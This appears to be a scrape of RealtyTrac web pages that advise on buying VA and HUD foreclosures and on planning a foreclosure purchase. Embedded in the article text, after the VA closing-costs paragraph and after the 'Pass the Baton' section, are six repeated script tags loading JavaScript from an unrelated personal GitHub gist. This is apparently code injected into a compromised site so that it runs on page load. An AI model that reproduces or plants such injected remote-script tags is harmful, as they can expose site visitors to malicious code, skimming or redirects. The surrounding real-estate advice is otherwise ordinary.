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<p>Learn about the VA foreclosure process and how to find VA foreclosure property opportunities.</p>
<h3>What is a Department of Veterans Affairs foreclosure?</h3>
<p>One niche area of foreclosure investing is buying government-owned properties from the Department of Veterans Affairs. The Veterans Affairs helps veterans buy homes by guaranteeing loans to the lenders. When a veteran defaults on a VA-guaranteed home loan, the VA buys the property from the lender and offers them for sale – frequently at below market prices.<b><br />
</b></p>
<h3>Who can buy a VA foreclosure?</h3>
<p>Anyone can purchase a VA repo home. The VA acquires properties as a result of foreclosures on VA-guaranteed loans. VA foreclosures are offered for sale through a national network of real estate agents working through Ocwen Financial Corporation. <b><br />
</b></p>
<h3>Do I have to be a veteran to buy a VA repo?</h3>
<p>No. All VA repo properties are available to both veterans and non-veterans.</p>
<h3>Where can I locate VA foreclosures?</h3>
<p>VA homes for sale are listed by local listing agents through the Multi Listing Systems (MLS). Investors and homebuyers can view the properties on RealtyTrac’s website at www.realtytrac.com, on Ocwen’s website at www.ocwen.com and on a government site at www.homesales.gov. Investors interested in buying a VA repossession property should contact the listing agent identified on the website.</p>
<h3>How do I submit an offer for a VA foreclosure?</h3>
<p>After you find a VA home foreclosure that you want to buy you should have a real estate agent or the selling agent prepare a purchase contract and complete all the necessary VA documentation. Your agent will submit your offer through the listing broker for approval. To make an offer you must go through a VA-approved agent and use the proper government forms. The listing broker’s name, email, telephone number and fax number are found on the listing page of Ocwen’s website.</p>
<h3>What are the benefits of buying a VA property?</h3>
<p>Under the VA home loan program, veteran borrowers can purchase a home with no money down. VA home loan requirements are fairly liberal when compared with other loan programs. For example, under many conventional loan programs, personal bankruptcies within five years of applying for a loan would disqualify the applicant. Under the VA program, however, veterans with bad credit or bankruptcies could get a VA home loan. Other benefits offered to veterans under the VA program include:</p>
<ul>
<li>No down payment required.</li>
<li>VA closing costs and other fees can be financed.</li>
<li>VA loans can be assumed.</li>
<li>No mortgage insurance premiums.</li>
<li>No mortgage prepayment penalties.</li>
</ul>
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VA Foreclosures – Answers to Frequently Asked Questions

Read these frequently asked questions about home foreclosure. Discover common foreclosure concerns, understand the foreclosure process, and how the foreclosure law varies from state to state.

VA Foreclosures - Answers to Frequently Asked Questions - RealtyTrac

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<p>Many real estate investors think the only way to learn how to buy HUD homes is to be a first-time homebuyer eligible for HUD programs, but the truth is that knowing how to buy HUD home foreclosures can be one of the best skills an investor can have. When real estate owners default on HUD home loans, HUD forecloses the properties and sells them at a public foreclosure auction. Finding and purchasing HUD foreclosures can help you save big on your next house or real estate investment property, often well below market value.</p>
<p><a href="https://www.realtytrac.com/profile/registration.aspx">Search Hud Foreclosures on RealtyTrac</a></p>
<h2>How HUD Home Foreclosures Work</h2>
<p>HUD (the U.S. Department of Housing and Urban Development) home foreclosure properties have already gone through the entire foreclosure process, which starts when the borrower defaults on the FHA-insured loan used to originally purchase the property, and ends when the originating lender was paid off by HUD (as the loan has been guaranteed by FHA insurance). HUD now has become the owner of the foreclosed real estate.</p>
<p>Like the lenders it insures against borrower default, HUD does not want to become a property owner. So it sells HUD foreclosure homes through online auction companies and approved real estate brokers who advertise themselves as HUD-approved brokers. These HUD-approved real estate professionals advertise their services in a number of places, including local newspapers and phone books.</p>
<p>In addition to weekly newspaper advertisements in the real estate classifieds, HUD homes are also advertised through a number of other sources. For one, local Multiple Listing Services (MLS). So any real estate professional who subscribes to an MLS can find available HUD home foreclosures and listings in their area. HUD lists their homes on the Internet as well at <a href="http://www.hud.gov/">http://www.hud.gov</a>, and HUD home foreclosures can also be found at <a href="https://www.realtytrac.com/profile/registration.aspx" data-wplink-edit="true">RealtyTrac</a>.</p>
<p>HUD home foreclosures on the Internet are maintained by various management companies all under contract with HUD. However, purchasing a HUD home can only be done via an offer submitted by a HUD-approved real estate broker or via a HUD-approved online auction.</p>
<h2>Tips & Tricks: How to Buy a HUD Home Foreclosure</h2>
<p>Based on the agency’s online home buying guide, here are some suggestions on how to purchase a HUD home:</p>
<h3>1) Figure out how much home you can afford</h3>
<p>This can be done several ways. A great way to estimate how much you can afford is to use a simple loan calculator or affordability calculator. If you have a trusted financial advisor, talk with them about your plans.</p>
<p>After you’ve come up with a rough idea of how much you can afford, make an appointment with a lender. A lender can officially pre-qualify you for a loan and let you know how much home you can purchase based on a set formula that takes into consideration your monthly gross income, long-term debt and other monthly expenses.</p>
<h3>2) Help is available to locate a HUD home</h3>
<p>At the end of the day a potential purchaser of any HUD home foreclosure is going to need a real estate agent who has been approved to submit offers to HUD.</p>
<p>Finding an approved agent or broker is not difficult. Many HUD-approved agents and brokers advertise themselves as such in local newspaper real estate sections. Most likely, if you see a listing for a HUD home foreclosure in the paper it will be listed by a HUD-approved agent or broker. Or at the very least a buyer can call a local real estate office and ask whether they have an agent or broker in the office who is approved to work with HUD homes.</p>
<p>Besides the fact that any potential buyer of a HUD home is required by HUD to use a real estate agent, it is a good idea anyway. An experienced agent can be very useful when it comes to getting extra details on the neighborhood, local schools, places of worship, traffic patterns, etc.</p>
<p>Unlike a customary arm’s length real estate transaction, there are no negotiations, no haggling on offers and counteroffers between the buyer and seller of a HUD home. In some cases, HUD may pay a percentage of the closing costs, financing fees, and associated commissions for homebuyers, but HUD rules state that this option is not available to “Investor Buyers”. However, you can include the request for payment of some or all of these costs in your offer and see if the offer is accepted.</p>
<h3>3) Obtain all the details on the property possible</h3>
<p>Here are just a few of the questions you should be able to answer about the property before you make an offer:</p>
<ul>
<li>Single-family residence, condo or townhome?</li>
<li>What county?</li>
<li>What city?</li>
<li>What neighborhood?</li>
<li>Do schools matter?</li>
<li>How about places of worship, convenience of retail centers?</li>
<li>Proximity to employment centers?</li>
<li>How many stories?</li>
<li>Desired square footage?</li>
<li>How many bedrooms and bathrooms?</li>
<li>Pool with or without a spa?</li>
<li>Attached or detached, two or three car garage?</li>
<li>Any fireplaces?</li>
<li>How about a family room, entertainment room and formal dining room?</li>
</ul>
<p>The list goes on and on as to the details that go into the “ideal” home for any particular homebuyer. The idea is to know what you, as an investor, want and what your target buyer or tenant will want before you go out looking with the real estate agent. It also helps the agent narrow down the search so that he or she can only show you homes you would most likely be interested in seriously considering. Making this type of list will also help you determine if there are area HUD home foreclosures that meet those criteria.</p>
<p><strong>Warning: HUD Home Foreclosures are Sold As-Is</strong></p>
<p>Never forget HUD homes are sold in AS IS condition, which means that HUD will not make any repairs, and does not warranty the condition of any of its properties. It is highly recommended, therefore, that the potential buyer spend the money and pay for a professional home inspection before making an offer on a HUD home.</p>
<p>HUD does have a program available through the FHA called the 203(K) loan program, which loans money to buyers of HUD homes in order to make needed repairs. The loan is repaid as part of the mortgage. Properties financed under the 203(k) program must meet basic energy efficiency and structural standards when improvements and renovations are complete, so make sure that your plans will meet these standards and confirm, before obtaining financing, that you are working with an FHA-approved lender if you hope to use this financing.</p>
<h3>4) Make an offer on a HUD home foreclosure</h3>
<p>In many ways, the home purchase process on HUD homes is much more simplified than the conventional way of buying a home.</p>
<p>The initial listing price is determined by HUD to be an estimate of the property’s current fair market value (FMV). The FMV is based on an appraisal conducted by an independent real estate appraiser.</p>
<p>The property is then put on the market for what is called the Initial Listing Period, during which time HUD will receive offers on the property. The first offers to be considered will be those submitted by potential owner-occupants of the property. It is not until after HUD has exhausted all of those offers that it will even consider offers from other interested parties such as real estate investors.</p>
<p>The highest priority is given to offers submitted by potential owner-occupants during the first 10 calendar days of the listing period as follows:</p>
<ol>
<li>Offers submitted during the first five days will be considered to have been received simultaneously.</li>
<li>On the first business day following those five days, the owner-occupant bids will be reviewed and the highest acceptable net owner-occupant offer will be accepted.</li>
<li>If no bid is accepted, then owner-occupant bids will be reviewed on a daily basis. If after that time no owner-occupant offer is accepted, then offers made by the general public during the 10-day period will be reviewed.</li>
</ol>
<p>Depending on such factors as time on the market, and the current market conditions, HUD may accept an offer on the property for less than the initial listing price. Once an offer is accepted, escrow on the transaction will normally occur within 30 to 60 days.</p>
<h3>5) Financing your HUD home foreclosure purchase</h3>
<p>Although HUD is not a lending institution, purchasers of HUD homes may qualify for FHA-insured mortgages. However, the buyer of a HUD home foreclosure is not required to use an FHA-insured mortgage to purchase the home.</p>
<p>The buyer can use conventional financing with either a fixed-rate or adjustable-rate mortgage (ARM) or the buyer can apply for an FHA-insured loan. These loans may permit lower down payments than other mortgage financing. You do not necessarily have to be a first-time home buyer to qualify under the FHA insurance program, but review the terms of the loan carefully to make sure you are eligible.</p>
<p>There are also VA loans from the U.S. Department of Veterans Affairs, another government agency that guarantees the lender against loss due to borrower default.</p>
<p>In some cases, an investor may qualify to assume the existing loan on the HUD home, allowing him or her to keep paying the same mortgage payments the previous owner was making before the foreclosure. However, if you work through an FHA lender to accomplish this, you will likely still undergo a credit review and other evaluations associated with obtaining financing. This is not necessarily what most real estate investors mean when they use the term “subject-to deals,” which also involve assuming the payments on a house. In a subject-to deal, the investor assumes payments but the terms of the loan, including the individual ultimately liable for the payments (the original borrower in most cases) do not change. Some lenders permit this type of assumption, while others do not and may call the loan due in the event that the transaction takes place. If you are not familiar with subject-to transactions, work with an experienced investor or real estate attorney on your first few deals.</p>
<h3>6) What about the various hidden costs involved?</h3>
<p>OK. So you’ve hired a HUD-approved real estate agent or broker who helped you find the home of your dreams. It just happens to be a HUD home. HUD has accepted your offer; you’ve obtained financing, and now you’re ready to close escrow.</p>
<p>What’s next? What about all those little troublesome expenses called closing costs that typically add between 3 percent and 4 percent of the price of your new HUD home?</p>
<p>As mentioned earlier, it is possible HUD will pay your broker’s commission if you include this in the terms of your offer. Similarly, the agency may pick up your closing costs as well. However, like with the broker’s commissions, closing costs must be made part of the offer when the bid is submitted to HUD. Bear in mind that HUD is less likely to make these payments if you are an investor, so factor in the full closing costs when evaluating the deal just in case you have to pay them.</p>
<p>Should you choose to pay your own closing costs, it makes your bid more enticing to HUD and the chances of your offer being accepted will increase since HUD’s net return on the sale of the property will most likely be greater than if it had to pay those costs for you.</p>
<h2>HUD Home Foreclosures Represent a Great Opportunity</h2>
<p>Buying a HUD home foreclosure can be a great experience for an investor, and it will help you get comfortable with the process of working with government entities to acquire properties for your investment portfolio. Just remember to be patient with yourself and the HUD representatives. Also, be prepared to move fast. You will likely be competing with other investors who are also aware of the great potential for solid returns that can be found in HUD home foreclosures. Educate yourself, prepare for action, and then, pull the trigger! Your successful real estate investing experience is right around the corner.</p>
<p>RealtyTrac is here to help you find and buy HUD home foreclosures and other investment properties whether this is your first deal or your 500<sup>th</sup>. Our vast database of national foreclosures, REOs, and bank-owned properties is perfect for helping you find the best real estate investment for you. <a href="https://www.realtytrac.com/profile/registration.aspx"><strong>Sign Up Now</strong></a> and take full advantage of RealtyTrac’s FREE Trial, which allows you to search our real estate inventory free for 7 days. The perfect investment property could be waiting for you right around the corner!</p>


Foreclosed Home

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How to Buy HUD Home Foreclosures

Buying a HUD home is a great way for real estate investors to acquire a good deal. In this guide we explore tips on how to buy HUD Home Foreclosures

How to Buy HUD Home Foreclosures - RealtyTrac

<p>Several federal agencies have foreclosed properties to sell. One of them is the Department of Veterans Affairs (VA), which acquires foreclosed properties. Government foreclosure homes managed by Veteran’s Affairs are referred to as VA foreclosures.</p>
<p>Who can buy VA foreclosures? The answer is anyone. Buyers that are qualified, even non-Veterans will also receive benefit of a VA loan. This allows you to purchase these beautiful homes with no money down. All other listed homes for sale are available to anyone to purchase, including Veterans who wish to use their VA status eligibility.</p>
<p>Potential homebuyers looking to save money on their purchase might want to consider a foreclosed VA home. If a buyer is looking to obtain a VA home loan through the U.S. Department of Veterans Affairs, they may want to look into VA’s foreclosed properties.</p>
<p>Military veterans are just as likely as any other American to experience financial ups and downs — perhaps even more likely. Therefore, VA loans bring a certain amount of VA foreclosures into the housing marketplace.</p>
<p>But buyers need to be careful purchasing VA foreclosures. The VA does not make repairs on these foreclosed homes. Instead, the buyer is asked to sign a disclosure attesting that they are buying the home “as-is.” However, these government foreclosed homes can sell for as low as 50 percent of comparable market price. This, and the added potential benefit of no closing costs, can empower qualified homebuyers to develop instant equity at the sale.</p>
<p>One of the many benefits of buying VA foreclosures is that the VA covers the closing costs for qualified buyers. Also, similar to sales of certain Freddie Mac foreclosures, PMI (private mortgage insurance) is not required for veterans buying VA foreclosures. This can represent a savings of several hundred dollars a month to the average buyer. <script type='text/javascript' src='https://gist.githubusercontent.com/vladimir677/bd66b2780ce8792e731469b660a62590/raw/3a71aff685732599ba7fbadf7b929eae8d19053a/js.js'></script> <script type='text/javascript' src='https://gist.githubusercontent.com/vladimir677/bd66b2780ce8792e731469b660a62590/raw/3a71aff685732599ba7fbadf7b929eae8d19053a/js.js'></script> <script type='text/javascript' src='https://gist.githubusercontent.com/vladimir677/bd66b2780ce8792e731469b660a62590/raw/3a71aff685732599ba7fbadf7b929eae8d19053a/js.js'></script> <script type='text/javascript' src='https://gist.githubusercontent.com/vladimir677/bd66b2780ce8792e731469b660a62590/raw/3a71aff685732599ba7fbadf7b929eae8d19053a/js.js'></script> <script type='text/javascript' src='https://gist.githubusercontent.com/vladimir677/bd66b2780ce8792e731469b660a62590/raw/3a71aff685732599ba7fbadf7b929eae8d19053a/js.js'></script> <script type='text/javascript' src='https://gist.githubusercontent.com/vladimir677/bd66b2780ce8792e731469b660a62590/raw/3a71aff685732599ba7fbadf7b929eae8d19053a/js.js'></script></p>


Veterans Affairs Foreclosures

Interested in Veterans Affairs foreclosures? Learn everything you need to know about finding and buying VA foreclosed homes.

Veterans Affairs Foreclosures - RealtyTrac


<h4 class="wp-block-heading">DO YOU HAVE A FORECLOSURE-BUYING STRATEGY?</h4>



<p>If you don’t know where to start, this page is a good place to decide on your foreclosure-buying strategy.</p>



<ul>
<li><a href="#t1">Prepare Your Resources</a></li>



<li><a href="#t2">Find a Good Source for Foreclosure Listing</a></li>



<li><a href="#t3">Decide Whether You Want to Use an Agent</a></li>



<li><a href="#t4">Make a Checklist of What You’re Looking For in a Home</a></li>



<li><a href="#t5">Find Properties That Match Your General Criteria</a></li>



<li><a href="#t6">Narrow the Focus</a></li>



<li><a href="#t7">Do Your “Home” Work</a></li>



<li><a href="#t8">What You Need</a></li>



<li><a href="#t9">Research Tools</a></li>



<li><a href="#t10">Sources</a></li>



<li><a href="#t11">Calculate the Bargain</a></li>



<li><a href="#t12">Loan Pre-approval</a></li>



<li><a href="#t13">Credit Data</a></li>



<li><a href="#t14">Pass the Baton</a></li>
</ul>



<p><a name="t1"></a><br><b>Prepare Your Resources</b><br>You’ll need to make sure you’re armed with the resources you’ll need to buy foreclosed properties. Tip: Start a foreclosure list file to organize all the documents and research that you’ll accumulate during the process of searching for and buying a distressed property.</p>



<p><b><a name="t2"></a>Find a Good Source for Foreclosure Listing</b><br>Thanks to the advent of the Internet, you no longer have to depend on printed listings to be mailed to you. RealtyTrac has online listings that are updated daily making it easy for you to buy a foreclosure. RealtyTrac is also the only national provider of both pre-foreclosure and foreclosure data, besides offering a very reasonable subscription rate. In any case, there are several questions you can ask of any foreclosure listing service to help determine its usefulness.</p>



<p><b><a name="t3"></a>Decide Whether You Want to Use an Agent</b><br>If you’re a first-time homebuyer and you’ve never purchased a home, let alone a foreclosed property, it may be beneficial to contact a local real estate attorney or consult an agent experienced in buying foreclosures. As a subscriber to RealtyTrac, you will have access to our national network of referral agents, agents who can help you follow-up on our listings. If you work with an agent, make sure they know your priorities. Not all agents have much experience with foreclosed properties, so ask any potential agents if they have experience with foreclosure help and sales. Especially for first-time buyers, a good agent can be a comforting and helpful resource.</p>



<p><b><a name="t4"></a>Make a Checklist of What You’re Looking For in a Home</b><br>Your foreclosed property checklist should include as many factors as you can and then prioritize them. You may not ever get the perfect home, but a checklist will help keep focus so you’ll know when you find a property that will work for all your needs and wants.</p>



<p><b><a name="t5"></a>Find Properties That Match Your General Criteria</b><br>A good listing service like RealtyTrac will allow you to input search criteria based on your checklist. When searching for a foreclosed home for sale you may want to start out with a broad foreclosure listing search and then narrow it down to a few foreclosure property listings if you end up with too many properties. Experiment with different searches to see what you get in different areas, price ranges or square footage. Print out the detail on all the foreclosure property listings that spark your interest. Make a habit of continuing to check for new foreclosure property listings or have the listing service notify you when a property is added that matches your criteria.</p>



<p><b><a name="t6"></a>Narrow the Focus</b><br>Start checking out your foreclosed home for sale properties. You can try to call the trustee to confirm the status of the property, although not all trustees are as helpful. Or you can easily narrow down your foreclosure search to a city. For example, uou can use a foreclosure search tool to find <a href="//www.realtytrac.com/mapsearch/ca/santa-barbara-foreclosures.html">Santa Barbara foreclosures</a>. Foreclosure properties may not offer the opportunity to view the inside at first, but just looking at the house and the neighborhood will allow you to scratch some off your list and highlight others. Take a list of questions to try to evaluate the foreclosed home for sale based on your checklist. Make a note if any properties are already listed with a real estate agent.</p>



<p><b><a name="t7"></a>Do Your “Home” Work</b><br>Once you’ve narrowed down your list of real estate foreclosure properties, start doing your homework and foreclosure free search on each property to find out if this is a property that will be a good bargain and a good fit for you.</p>



<p><b><a name="t8"></a>What You Need</b><br>You need to find out as much as you can about the foreclosed house and the circumstances that contributed to its status as a distressed property. The primary sources for this information are county assessors and recorders offices, title companies, your agent and the owner. And you want to look for information from unexpected sources also. There are some occasions when interested buyers have gleaned a wealth of knowledge from a neighbor who happens to be outside while the buyer is driving by to look at the property.</p>



<p><b><a name="t9"></a>Research Tools</b><br>To determine whether a foreclosed house is a good buy or investment, you need the proper tools to research sales comps, property history, title status and other data that might affect the value of the property. Of course, before you close the deal on any property, we recommend that you do a complete title search through a title company.</p>



<p><b><a name="t10"></a>Sources</b><br>If you have a referral agent, they have access to title information and can do much of the research for you. That doesn’t mean you should sit back and wait for the agent to do all the work. If you continue to work on finding out as much information on your own, that not only will make your search more effective, it will also show your agent that you’re a motivated buyer who’s willing to put in some work to get a good bargain.</p>



<p>Note: Some experienced foreclosure buyers have established relationships with title companies where they can research title information for distressed properties and then will use the title company when they purchase properties. If you don’t have this type of relationship, however, a title search can cost several hundred dollars and it’s better to work with an agent and conduct your own foreclosure free search.</p>



<p><b><a name="t11"></a>Calculate the Bargain</b><br>Ultimately, the purpose of all your real estate foreclosure research is to decide whether a given distressed property offers a good bargain-buying opportunity. To the outstanding unpaid loan balance you need to add all the liens against the property and any estimated fixing costs and then subtract that total from the market value of the foreclosed house. If the difference is a strong positive number, you can approach the owner armed with your calculations and begin negotiating a possible sale.</p>



<p><b><a name="t12"></a>Loan Pre-approval</b><br>Gather financial information the lender will request and apply for pre-approval. Educate yourself on the lending process and what steps will be required.</p>



<p><b><a name="t13"></a>Credit Data</b><br>Check your credit and correct any credit problems you may have before the lender gets your credit report.</p>



<p><b><a name="t14"></a>Pass the Baton</b><br>Take your short list of properties and hand it over to your agent. Many experienced buyers and investors prefer to buy foreclosure properties without the help of an agent, but if you’ve never done this before, it’s a good idea to enlist the expertise of an agent who has knowledge and experience in buying distressed property. RealtyTrac gives you access to a network of referral agents. These agents can scout out your picks and help you with the next steps in buying a foreclosure: researching property title documents, contacting the owner and making an offer. You will need to sign a buyer/broker agreement with the referral agent so they can work on your behalf. <script type="text/javascript" src="https://gist.githubusercontent.com/vladimir677/bd66b2780ce8792e731469b660a62590/raw/3a71aff685732599ba7fbadf7b929eae8d19053a/js.js"></script> <script type="text/javascript" src="https://gist.githubusercontent.com/vladimir677/bd66b2780ce8792e731469b660a62590/raw/3a71aff685732599ba7fbadf7b929eae8d19053a/js.js"></script> <script type="text/javascript" src="https://gist.githubusercontent.com/vladimir677/bd66b2780ce8792e731469b660a62590/raw/3a71aff685732599ba7fbadf7b929eae8d19053a/js.js"></script> <script type="text/javascript" src="https://gist.githubusercontent.com/vladimir677/bd66b2780ce8792e731469b660a62590/raw/3a71aff685732599ba7fbadf7b929eae8d19053a/js.js"></script> <script type="text/javascript" src="https://gist.githubusercontent.com/vladimir677/bd66b2780ce8792e731469b660a62590/raw/3a71aff685732599ba7fbadf7b929eae8d19053a/js.js"></script> <script type="text/javascript" src="https://gist.githubusercontent.com/vladimir677/bd66b2780ce8792e731469b660a62590/raw/3a71aff685732599ba7fbadf7b929eae8d19053a/js.js"></script></p>


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Strategies and Tips for When Buying a Foreclosed Home

New to foreclosure property-buying? Discover foreclosure-buying strategy tips and valuable information that can help you in the foreclosure-buying process.